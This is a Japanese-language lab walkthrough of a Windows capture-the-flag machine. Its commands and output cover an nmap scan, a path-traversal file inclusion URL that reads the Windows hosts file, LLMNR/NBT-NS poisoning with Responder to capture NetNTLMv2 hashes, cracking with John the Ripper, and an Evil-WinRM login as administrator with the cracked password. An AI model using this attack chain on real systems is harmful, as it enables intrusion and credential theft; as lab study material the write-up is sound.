早速本題に入りますか・・・
windowsは市場の85%程度の市場シェアを有している。
既知の脆弱性があるのにも関わらずNTLMはレガシークラアントやサーバーとの互換性維持のため、新規システムでも広く採用されている。しかし、最近ではKerberos認証が使われている。
どうやら本演習では、Windowsマシン上で稼働するwebページにファイルインクルード脆弱性があった。その脆弱性にどうやって攻撃するかを学ぶ。
大まかな流れ
Responderを使ってNetNTLMv2ハッシュをキャプチャする。
↓
John the Ripperでパスワード候補をブルートフォース(同時にハッシュと照合する、レインボーテーブル攻撃的な)
↓
照合し該当のパスワードが存在した場合乗っ取りに成功。
偵察
┌──(root㉿kali)-[~]
└─# nmap -p- --min-rate=1000 -sV 10.129.159.68
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-06-09 09:28 JST
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 30.92% done; ETC: 09:30 (0:01:32 remaining)
Nmap scan report for 10.129.159.68
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 184.60 seconds
この事から対象マシンはWindowsを使っていて、ポート80番でApacheのwebサーバー、ポート5985でWinRMを使っている事がわかる。また、7680番ではpandoというファイル転送ソフトを使っているが多分ここでは関係ない。
WinRMとは、windows remote managementの略である。Microsoftが提供するネイティブのリモート管理プロトコルである。SOAPを使ってやり取りする。
ペンテストにおいては、リモート管理権限を持つユーザーの認証情報を入手できればPowerShellを乗っ取る可能性がある。
Webサイト探索
マシンのIPアドレスを直打ちし、Webサイトを訪問してみると・・・・
ページが見つからないと言われてしまった。
IPアドレスは合っているはず...。1つのIPアドレスに複数のドメインが紐づけられている。
名前ベースのバーチャルホストといえるのかな???
つまり、宛先のIPアドレスにマッピングされているドメインを全てlinux側に読み込ませたい。
etc/hostsについての解説記事
このファイルに宛先のIPアドレスに紐づけられているドメインを全て書き込めば辿り付けるのではないか...?
そうと決まればやってみる
echo "10.129.242.43 unika.htb" | sudo tee -a /etc/hosts
-a はappendオプションであり、追記を意味している。
これがないと上書きしてしまう。
teeコマンドは標準入力から受け取ったデータを標準出力にも表示し、同時にファイルにも操作をしている。
これでホスト名とIPアドレスの対応を書くことで、ローカルの名前解決設定(/etc/hosts)にエントリを追加する。
Webアプリケーションセキュリティ団体OWASPは、ファイルインクルードの仕組みを多用するWebアプリケーション言語であるPHPが、リモート・ファイル・インクルード に対して特に脆弱であると指摘しています。
ファイルインクルード脆弱性
phpのinclude()メソッドとは何?
外部ファイル化できる
File 1 --> vars.php
<?php
$color="green";
$fruit="apple";
?>
#########################
File 2 --> test.php
<?php
echo "A $color $fruit";// output="A"
include "vars.php";
echo "A $color $fruit"; //output="A green apple"
<http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts>
これでwindowsのhostsファイルの内容を取得でき、ファイルインクルージョンが可能であると確認できる。
これは、phpのinclude()関数に渡されたpageパラメータの検証が行われていない。
ここにローカル環境におけるipアドレスとドメインの対応関係が記述されている。
Responder Challenge Capture
そもそもResponderってなんだよという話になる。
このツール自体Windowsネットワーク上のLLMNR/NBT-NS プロトコルを悪用する Responder ツールを用いて NTLMv2 認証ハッシュをキャプチャする。
・LLMNR:DNSサーバーが名前解決に失敗したときにローカルネットワーク内で名前解決を行うプロトコル。
・NBT-NS:NetBIOS名を用いたホスト識別のためのプロトコルで、Windows環境で広く使われている。
偽造応答の仕組み
・クライアントがネットワークリソース名の解決要求をブロードキャストする。
・Responderはそれをキャプチャし、「私がそのリソースですよ!」と応答。
・クライアントは認証(Net-NTLMv2)を行い、そのハッシュをResponderに送信。
・Responderはハッシュを保存し、クライアントには「ホスト不在」のエラーを返す。
そうすることで被害者は「あれ?これって認証いらんのか」となる。
┌──(root㉿kali)-[~/Responder]
└─# python3 Responder.py -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[*] Sponsor Responder: <https://paypal.me/PythonResponder>
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.33]
Responder IPv6 [dead:beef:2::101f]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-NF8YDIWMSJJ]
Responder Domain Name [1LMT.LOCAL]
Responder DCE-RPC Port [45542]
[*] Version: Responder 3.1.6.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[+] Listening for events...
長くなるので省略するが、ここからイベントからハッシュ値を読み出した....。
ここからはハッシュクラッキングをする。
ここからjohn the ripperを使う。
john -w=/usr/share/wordlists/rockyou.txt hash.txt
ここから
パスワードはbadmintonとわかる。
最後にEvil-WinRMを使う。
なぜならwinRMにリクエストを送信するためだ。
evil-winrm -i <targetIP> -u administrator -p badminton
あとはファイルを探索するだけ
参考文献(参照日2025年6月9日)
・公式Writeup
https://e-words.jp/w/Kerberos.html#:~:text=概要,として普及している。


